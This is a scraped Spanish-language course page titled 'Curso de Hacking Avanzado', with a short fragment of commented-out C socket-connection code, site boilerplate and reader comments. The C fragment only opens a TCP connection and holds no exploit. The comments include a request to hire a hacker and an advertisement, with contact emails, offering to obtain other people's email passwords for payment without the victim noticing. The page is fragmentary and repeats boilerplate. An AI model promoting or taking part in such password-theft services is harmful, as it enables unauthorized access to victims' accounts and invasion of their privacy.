//**sin.sin_port = htons((u_short) port); **//

//**if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) &lt; 0) { **//

//**fprintf(stderr, "%s: could not get socket\n", argv[0]); **//

//**exit(1); **//

//**} **//

//**if (connect(s, (struct sockaddr *)&amp;sin, sizeof(sin)) &lt; 0) { **//

//**close(s); **//

//**fprintf(stderr, "%s: could not establish connection\n", argv[0]); **//

Añade una nota a tu edición que explique en qué consisten tus cambios:

Opinar
23 opiniones

busco hacker

hola soy de monterrey nuevoleon mexico y tengo un trabajo para alguen que lo pueda hacer obvio tendramos que quedar deacuerdo con el costo del servicio el trabajo es sencillo pero yo no lo puedo hacer si te interesa comunicate a este mail ehitehel@hotmail.com

Mike

Buen curso.

Creo que se entiende mas o menos bien. Por cierto al desgraciado que se anuncia porque vende contraseñas de correos hotmail a ver sile hecha el guante la policía.

Revelador

Hackear hotmail.

Instrucciones para obtener una contraseña de hotmail,yahoo,gmail,terra,aol,latinmail. 1º nos envía un mail a descubrelk@gmail.com solicitando obtener la contraseña de la cuenta de correo hotmail que usted quiere conocer. 2º en ese mail debe indicarnos: la dirección de correo electrónico de la persona que desea conocer la contraseña. 3º cuando recibimos su pedido comenzamos a trabajar para la obtención de la contraseña solicitada. Esto puede tardar entre 1 día,(en caso de no obtenerla no pagara nada) usted no abona nada al solicitar la contraseña, no hay pagos por adelantado. La victima no se dará cuenta que su e-mail a sido entrado por otras personas ya que la contraseña será la original con que la victima entra cada día. 4º una vez obtenida la contraseña de su encargo le enviamos las pruebas de que tenemos la contraseña a su dirección de correo (la que usted utilizo para realizar el pedido) informándole que el trabajo esta terminado. Este mail se lo enviamos y una foto de su bandeja de entrada. 5º una vez que lleguemos a un acuerdo sobre el pago le enviamos a su cuenta de correo la contraseña solicitada. 6º si usted esta de acuerdo con lo de arriba mencionado favor comunicarse con nosotros para hacer las diligencias pertinentes

descubrelk@gmail.com 100% seguro mas privacidad de datos.

Frank Summers

Conseguir acceso root.

No puedo leer ese contenido, es posible que me lo puedan hacer llegar?
gironsummers@yahoo.com
gracias y saludos.

Kevin

Bueno pero con fallas.

Te asen falta 2 capitulos el 8 y el 10 podrias ponerlos.

1 2 3 4 5 | siguiente >

Cursos gratis relacionados con 'Curso de Hacking Avanzado'

Curso de Hacking Avanzado

En este glosario, lo primero que se ha de definir es la palabra HACKER ya... Más »

Curso de ingeniería inversa

La ingeniería inversa se basa en quitar, remover, suspender uno o más temas de protección... Más »

Anuncios Google

Autor y licencia de 'Curso de Hacking Avanzado'

Curso gratis de Zonagratuita. Extraido de: http://www.zonagratuita.com CopyLeft

Este contenido ha sido recopilado por el equipo de Wikilearning. Todo el contenido recopilado se ha obtenido respetando y comunicando en nuestro site la licencia de cada fuente.

Wikilearning tiene permiso expreso por escrito de los autores para publicar los contenidos que ha extraído de otras webs, incluyendo su uso comercial.

Curso de Hacking Avanzado - Conseguir una cuenta

5 - Conseguir una cuenta

Opinar 23 opiniones

Cursos gratis relacionados con 'Curso de Hacking Avanzado'

Anuncios Google

Autor y licencia de 'Curso de Hacking Avanzado'

Opinar
23 opiniones